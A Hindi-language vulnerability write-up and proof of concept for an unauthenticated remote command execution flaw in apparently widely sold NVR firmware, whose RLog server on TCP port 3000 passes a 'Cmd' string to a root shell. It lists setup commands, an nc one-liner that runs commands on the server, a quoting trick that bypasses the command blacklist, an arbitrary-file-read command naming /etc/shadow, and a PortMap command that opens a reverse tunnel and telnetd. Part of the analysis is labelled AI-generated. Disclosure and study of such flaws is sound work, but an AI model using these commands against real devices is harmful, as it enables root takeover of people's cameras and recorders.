
CVE-2026-100886 | अनधिकृत रिमोट कोड निष्पादन टूलकिट।
यह हार्नेस प्रदर्शित करता है कि फर्मवेयर का libLOG.so TCP/3000 पर एक RLog
सर्वर शुरू करता है। कमांड-डिस्पैचर विश्लेषण और डायनामिक परीक्षण
उस सर्वर के माध्यम से अनऑथेंटिकेटेड OS कमांड निष्पादन प्रदर्शित करते हैं।
यह qemu-arm के अंतर्गत फर्मवेयर के स्वयं के libLOG.so को लोड करता है, TLog_Init() को कॉल करता है
और वास्तविक सर्वर 0.0.0.0:3000 पर बाइंड होता है और कहीं से भी बिना किसी
प्रमाणीकरण के इनबाउंड कनेक्शन स्वीकार करता है।
फर्मवेयर TCP/3000 पर एक अनऑथेंटिकेटेड RLog कमांड सर्वर को उजागर करता है।
कमांड डिस्पैचर Cmd को रजिस्टर करता है, जो हमलावर-नियंत्रित
इनपुट को TLog_CMD तक पास करता है। TLog_CMD अंततः फर्मवेयर कमांड
निष्पादन बैकएंड को इनवोक करता है।
इसलिए:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: पर्सिस्टेंट संस्करण: सर्वर को ऊपर लाता है और स्लीप करता है (वास्तविक उपयोग के लिए इसे उपयोग करें)probe_harness.c: प्रोब संस्करण: एमुलेटर के अंदर से कमांड प्रोब भी करता है (टाइप-बाइट फ्रेमिंग आवश्यकता दर्शाता है)यदि नीचे दी गई स्क्रिप्ट sysroot बनाने के लिए जिस फर्मवेयर डाउनलोड का उपयोग करती है वह अब मौजूद नहीं है। आप इसे इनमें से किसी एक से प्राप्त कर सकते हैं (बस nvr को इमेज सर्च करें, फर्मवेयर व्यापक रूप से वितरित है):
मैंने इसके लिए फर्मवेयर v4.6.1.4-build202604241011 का उपयोग किया, अन्य फर्मवेयर संस्करणों का अभी तक परीक्षण नहीं किया गया है, लेकिन fullward जैसे डाउनस्ट्रीम ड्रॉपशिपर्स के पास भी यह मौजूद है।
इसे हार्नेस के समान डायरेक्टरी में चलाएँ
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
यह हार्नेस उन सिंबल्स के स्टब इम्प्लीमेंटेशन प्रदान करता है जिन्हें libLOG.so edvr से इम्पोर्ट करता है
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
probe_harness.c से देखा गया आउटपुट (ऊपर दी गई स्क्रिप्ट में उपयोग किया गया वाला नहीं):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux प्रदर्शित होता है क्योंकि qemu user mode होस्ट फाइलसिस्टम को साझा करता है क्योंकि यह PoC इसे ठीक से आइसोलेट नहीं करता है।
AI प्रकटीकरण, नीचे दिया गया टेक्स्ट AI द्वारा जनित है
LogModuleRegCmd @ 0x8f94)| कमांड | हैंडलर | प्रभाव |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | विभिन्न | लॉगिंग/सेल्फ-टेस्ट नियंत्रण |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | जानकारी/कॉन्फ़िग/लॉग प्रकटीकरण |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | मनमाना फ़ाइल पठन (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | फ़ाइल पठन |
Cmd [System commands] | TLog_CMD (0x3680) | रूट के रूप में शेल कमांड निष्पादन |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | रिवर्स TUN टनल + पोर्ट 23 पर telnetd |
; \r \n पर रुकता है)।vi, cd, top, if, killcmd} (strcmp) — तुच्छ रूप से बायपास किया जा सकता है (cat, sh, कोटिंग)।"%s -b" → sh -c के माध्यम से चलाता है।ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9।mysystem() (libmysystem.so) → /usr/sbin/systemd को IPC (नकली systemd, /bin/sh के माध्यम से रूट के रूप में निष्पादित करता है; स्ट्रिंग्स "[systemd cmd:]%s", "[systemd ret:]%d")।ब्लैकलिस्ट डेमो (2026-08-04, एमुलेटेड सर्वर):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> को पार्स करता है (3 फ़ील्ड की अपेक्षा करता है)।portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun खोलता है, इंटरफ़ेस tps0 बनाता है, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txt पढ़ता हैsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) और system("telnetd -p 23 &") (0x8c32) चलाता है।portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down।portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip।"usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"।"rm %s/* -rf" (0xad10) — लॉग-डायरेक्टरी क्लीनअप (TLog_DeleteLogFile) द्वारा उपयोग किया जाता है।हार्नेस (harness.c) libLOG.so को dlopen करता है, इसके edvr इम्पोर्ट्स को स्टब करता है, TLog_Init() को कॉल करता है:
dlopen ok
TLog_Init() -> 0
होस्ट साइड (qemu user-mode सॉकेट पासथ्रू):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))